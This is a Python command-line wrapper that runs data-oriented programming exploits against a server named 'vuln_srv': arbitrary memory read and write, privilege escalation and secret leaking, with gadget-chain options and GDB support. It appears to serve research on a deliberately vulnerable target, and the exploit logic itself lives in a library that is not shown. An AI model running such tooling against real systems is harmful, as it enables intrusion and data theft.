exploit_runner.py

"""Encapsulates different options for exploiting "vuln_srv"

Usage:
    runner.py --help
    runner.py [--gdb] [--port=<num>] [--link-chain=<length>] [--op-chain=<length>] [--benign] [--time-limit=<sec>]MODE

Arguments:
    MODE  (1) Arbitrary Memory Read (2) Arbitrary Memory Write (3) DOP Escalate
    Privilege (4) DOP Secret Leak (5) DOP Escalate Privilege v2

Options:
    --gdb  Uses GDB to get addresses and offsets
    --port=<num>  Port number of vuln_srv
    --link-chain=<length>  Length of gadget chain before exploit [default: 0]
    --op-chain=<length>  Length of gadget chain before exploit [default: 0]
    --benign  Issue same requests without malicious memory accesses (aka DOP)
    --time-limit=<sec>  Maximum time waiting between requests in gadget chains (eg. 0.1 = 100ms)
"""

import sys
import subprocess
import exploit
import logging

from exploit import ExploitLib
from docopt import docopt

CHAIN_LENGTH = 0
PORT = 1111

logging.basicConfig()
logging.getLogger(exploit.__name__).setLevel(logging.DEBUG)


def run(gdb, port, link_chain, op_chain, benign, time_limit, mode):
    exploit_lib = ExploitLib(port, gdb, benign, time_limit)
    if mode == 1:
        exploit_lib.do_mem_read()
    elif mode == 2:
        exploit_lib.do_mem_write()
    elif mode == 3:
        exploit_lib.dop_escalate(
            gadget_chain_link_length=link_chain,
            gadget_chain_op_length=op_chain)
    elif mode == 4:
        exploit_lib.dop_exfiltrate(
            gadget_chain_link_length=link_chain,
            gadget_chain_op_length=op_chain)
    elif mode == 5:
        exploit_lib.dop_escalate_2(
            gadget_chain_link_length=link_chain,
            gadget_chain_op_length=op_chain)


if __name__ == "__main__":

    args = docopt(__doc__)

    # Defaults
    link_chain = CHAIN_LENGTH
    op_chain = CHAIN_LENGTH
    port = PORT
    benign = False
    time_limit = None

    if args['--link-chain'] is not None:
        link_chain = int(args['--link-chain'])

    if args['--op-chain'] is not None:
        op_chain = int(args['--op-chain'])

    if args['--port'] is not None:
        port = int(args['--port'])

    if args['--benign'] is not None:
        benign = args['--benign']

    if args['--time-limit'] is not None:
        time_limit = float(args['--time-limit'])

    gdb = args['--gdb']

    mode = int(args['MODE'])

    if gdb:
        # To preprocess with GDB we need to run within GDB's Python Interpreter
        subprocess.call([
            'gdb', '-q', '-ex',
            'python import os,sys; \
        sys.path.append(os.getcwd()); import exploit_runner; from exploit_runner import run; run(%s, %s, %s, %s, %s, %s, %s); \
        sys.exit(0)' % (gdb, port, link_chain, op_chain, benign, time_limit,
                        mode)
        ])
    else:
        run(gdb, port, link_chain, op_chain, benign, time_limit, mode)